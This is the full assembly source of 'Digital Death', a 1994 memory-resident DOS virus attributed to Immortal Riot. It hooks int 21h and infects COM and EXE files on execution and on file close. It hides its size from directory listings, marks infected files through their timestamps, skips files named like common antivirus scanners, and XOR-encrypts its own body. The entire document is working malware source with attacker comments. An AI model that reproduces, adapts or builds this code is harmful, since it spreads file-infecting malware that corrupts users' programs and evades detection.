; ------------------------------------------------------------------------------ ; ; - Digital Death - ; Created by Immortal Riot's destructive development team ; (c) 1994 Raver/Immortal Riot ; ;------------------------------------------------------------------------------- ; ž Memory Resident Stealth Infector of COM/EXE programs ž ;------------------------------------------------------------------------------- ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä ; DIGITAL DEATH - ver 0.90į ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä cseg segment byte public 'code' assume cs:cseg, ds:cseg org 100h vir_size equ end_of_virus-start_of_virus ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä ; Non-resident Install code ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä start_of_virus: call get_delta get_delta: ;get the delta offset mov di,sp mov bp,word ptr ss:[di] sub bp,offset get_delta push cs pop ds call encrypt_decrypt ;decrypt virus ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä ; Start of encrypted area ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä install_code: mov ax,es ;restore segments now due to prefetch!! add ax,10h add word ptr cs:[bp+EXEret+2],ax add word ptr cs:[bp+EXEstack],ax push es mov ax,7979h ;check if already in mem int 21h cmp ax,'iR' je already_resident mov ah,4ah ;get #of available paragraphs in bx mov bx,0ffffh int 21h sub bx,(vir_size+15)/16+1 ;recalculate and mov ah,4ah int 21h mov ah,48h ;allocate enough mem for virus mov bx,(vir_size+15)/16 int 21h jc already_resident ;exit if error dec ax ;ax-1 = MCB mov es,ax mov word ptr es:[1],8 ;Mark DOS as owner push ax ;save for later use mov ax,3521h ;get interrupt vector for int21h int 21h mov word ptr ds:[OldInt21h],bx mov word ptr ds:[OldInt21h+2],es pop ax ;ax = MCB for allocated mem push cs pop ds cld ;cld for movsw sub ax,0fh ;es:[100h] = start of allocated mem mov es,ax mov di,100h lea si,[bp+offset start_of_virus] mov cx,(vir_size+1)/2 ;copy entire virii to mem rep movsw push es pop ds mov dx,offset new_int21h ;hook int21h to new_int21h mov ax,2521h int 21h already_resident: push cs push cs pop es pop ds cmp byte ptr [bp+COMflag],1 ;check if COM or EXE jne exit_EXE exit_COM: ;exit procedure for COMs mov di,100h lea si,[bp+COMret] mov cx,3 rep movsb ;restore first three bytes pop es ;and jmp to beginning mov ax,100h jmp ax exit_EXE: ;exit procedure for EXEs pop es mov ax,es ;restore segment regs and ss:sp mov ds,ax cli mov ss,word ptr cs:[bp+EXEstack] mov sp,word ptr cs:[bp+EXEstack+2] sti db 0eah ;and jmp to cs:ip EXEret db 0,0,0,0 EXEstack dd 0 ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä ; New int 21h handler ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä new_int21h: cmp ax,7979h ;return installation check jne continue mov ax,'iR' iret continue: cmp ax,4b00h ;check for exec? jne check_dir jmp infect check_dir: cmp ah,11h ;if dir function 11h, 12h je hide_dir cmp ah,12h je hide_dir cmp ah,4eh ;or function 4eh, 4fh je hide_dir2 cmp ah,4fh je hide_dir2 ;do some dir stealth cmp ah,3eh ;check for close jne do_oldint jmp infect_close do_oldint: jmp do_oldint21h ;else do original int 21h ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä ; Dir stealth routines ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä hide_dir: ;FCB stealth routine pushf ;simulate a int call with pushf push cs ;and cs, ip on the stack call do_oldint21h or al,al ;was the dir call sucessfull?? jnz skip_dir ;if not skip it push ax bx es ;preserve registers in use mov ah,62h ;same as 51h - get current PSP to es:bx int 21h mov es,bx cmp bx,es:[16h] ;is the PSP ok?? jnz bad_psp ;if not quit mov bx,dx mov al,[bx] ;al holds current drive - FFh means push ax ;extended FCB mov ah,2fh ;get DTA-area int 21h pop ax inc al ;is it an extended FCB jnz no_ext add bx,7 ;if so add 7 no_ext: mov al,byte ptr es:[bx+17h] ;get seconds field and al,1fh xor al,1dh ;is the file infected?? jnz no_stealth ;if not - don't hide size cmp word ptr es:[bx+1dh],vir_size ;if size is smaller than vir_size ja hide_it cmp word ptr es:[bx+1fh],0 ;it can't be infected je no_stealth ;so don't hide it hide_it: sub word ptr es:[bx+1dh],vir_size ;else sub vir_size sbb word ptr es:[bx+1fh],0 no_stealth: bad_psp: pop es bx ax ;restore regs skip_dir: iret ;return to program hide_dir2: pushf ;simulate a int call - push flags, cs and push cs ;ip on stack and jump to int handler call do_oldint21h jc eofs ;if no more files - return push ax es bx ;preserve registers mov ah,2fh ;get DTA-area int 21h mov ax,es:[bx+16h] and ax,1fh ;is the PSP ok?? xor al,29 jnz not_inf ; if not - jmp cmp word ptr es:[bx+1ah],vir_size ;don't sub too small files ja sub_it cmp word ptr es:[bx+1ch],0 je not_inf sub_it: sub word ptr es:[bx+1ah],vir_size ;sub vir_size sbb word ptr es:[bx+1ch],0 not_inf: pop bx es ax ;restore registers eofs: retf 2 ;return and pop 2 of stack ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä ; Infect on close routine ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä infect_close: push es bp ax bx cx si di ds dx cmp bx,4 ;don't close NULL, AUX and so jbe no_close call check_name ;es:di points to file name add di,8 ;es:di points to extension cmp word ptr es:[di],'OC' jne try_again cmp byte ptr es:[di+2],'M' ;if COM or EXE - infect je close_infection try_again: cmp word ptr es:[di],'XE' jne no_close cmp byte ptr es:[di+2],'E' je close_infection no_close: pop dx ds di si cx bx ax bp es ;otherwise jmp to oldint jmp do_oldint21h close_infection: mov byte ptr es:[di-26h],2 ;mark read & write access mov cs:Closeflag,1 ;raise closeflag for exit procedure mov ax,4200h ;rewind file xor cx,cx cwd int 21h jmp infect_on_close ;infect it ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä ; Determine file name for open handle ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä check_name: push bx mov ax,1220h ;get job file table for handle at es:di int 2fh mov ax,1216h ;get system file table mov bl,byte ptr es:[di] ;for handle index in bx int 2fh pop bx add di,20h ;es:di+20h points to file name ret ;return ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä ; Infection routine ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä infect: push es bp ax bx cx si di ds dx mov cs:Closeflag,0 ;make sure closeflag is off mov ax,4300h ;get attrib int 21h push cx mov ax,4301h ;and clear attrib xor cx,cx int 21h mov ax,3d02h ;open file int 21h xchg ax,bx infect_on_close: ;entry point if infection at close push cs push cs pop ds pop es mov ax,5700h ;save and check time/date stamp int 21h push dx push cx and cl,1fh xor cl,1dh jne read_it jmp skip_infect read_it: mov ah,3fh ;read first 18h bytes mov cx,18h mov dx,offset EXEheader ;to EXEheader int 21h mov byte ptr COMflag,0 ;check if EXE or COM and mark COMflag cmp word ptr EXEheader,'ZM' je is_EXE cmp word ptr EXEheader,'MZ' je is_EXE mov byte ptr COMflag,1 is_EXE: mov ax,4202h ;goto end of file xor cx,cx cwd int 21h push ax ;else save ax and infect EXE push es call check_name cmp COMflag,1 ;if COM file continue to infect_COM je infect_COM infect_EXE: cmp word ptr es:[di],'CS' ;check for common virus scanners je is_scanner cmp word ptr es:[di],'BT' je is_scanner cmp word ptr es:[di],'-F' je is_scanner cmp word ptr es:[di],'OT' je is_scanner cmp word ptr es:[di],'IV' jne no_scanner is_scanner: pop es jmp skip_infect no_scanner: pop es mov di,offset EXEret ;EXEret = IP/CS mov si,offset EXEheader+14h mov cx,2 rep movsw mov si,offset EXEheader+0eh ;EXEstack = SS/SP mov cx,2 rep movsw pop ax ;restore ax and mov cx,10h div cx sub ax,word ptr [EXEheader+8h] mov word ptr [EXEheader+14h],dx ;calculate CS:IP mov word ptr [EXEheader+16h],ax add ax,100 mov word ptr [EXEheader+0eh],ax ;SS:SP mov word ptr [EXEheader+10h],100h jmp short more_infection infect_COM: cmp word ptr es:[di],'OC' ;dont infect command.com! pop es pop ax jne no_command_com jmp skip_infect no_command_com: mov di,offset COMret ;transfer first three bytes mov si,offset EXEheader ;could remove this and transfer mov cx,3 ;directly from EXEheader instead rep movsb ;doing so will save approximately 20 bytes sub ax,3 ;subtract three from file length mov byte ptr [EXEheader],0e9h ;and build initial jump mov word ptr [EXEheader+1],ax more_infection: mov ah,2ch ;get random number from time int 21h mov word ptr ds:[enc_val],dx ;store it mov ax,08d00h mov es,ax mov di,100h mov si,di mov cx,(vir_size+1)/2 rep movsw push es pop ds xor bp,bp call encrypt_decrypt ;and encrypt mov ah,40h ;write it to file mov cx,vir_size mov dx,offset start_of_virus int 21h push cs pop ds cmp byte ptr COMflag,0 ;if COM file skip the next part jne goto_start mov ax,4202h ;go to end of file xor cx,cx cwd int 21h mov cx,512 ;recalculate new file length in 512- div cx ;byte pages inc ax mov word ptr [EXEheader+2],dx mov word ptr [EXEheader+4],ax goto_start: mov ax,4200h ;go to beginning of file xor cx,cx cwd int 21h cmp byte ptr [COMflag],1 ;if COM-file write first three bytes je write_3 mov cx,18h ;else write whole EXE header jmp short write_18h write_3: mov cx,3 write_18h: mov dx,offset EXEheader mov ah,40h int 21h skip_infect: ;restore time/date and mark infected mov ax,5701h pop cx pop dx or cl,00011101b and cl,11111101b int 21h cmp byte ptr cs:[Closeflag],1 ;if infection on close - don't close file je dont_close mov ah,3eh int 21h pop cx dont_close: pop dx pop ds cmp byte ptr cs:[Closeflag],1 ;and don't restore attrib je exit_close mov ax,4301h int 21h exit_close: mov byte ptr cs:Closeflag,0 ;unmark infection on close pop di si cx bx ax bp es do_oldint21h: ;jump to old int21h db 0eah OldInt21h dd 0 Closeflag db 0 COMflag db 1 COMret db 0cdh,20h,00h EXEheader db 18h dup(0) signature db "Digital Death - v0.90į (c) '94 Raver/Immortal Riot" end_of_encryption: ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä ; End of encryption - the code below this point is unencrypted ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä enc_val dw 0 ;value to en/decrypt with encrypt_decrypt: mov dx,word ptr ds:[bp+enc_val] lea si,[bp+install_code] mov cx,(end_of_encryption-install_code)/2 loopy: xor word ptr ds:[si],dx ;simple ordinary xor-loop inc si ;encryption inc si loop loopy ret ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä ; End of virus ; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä end_of_virus: cseg ends end start_of_virus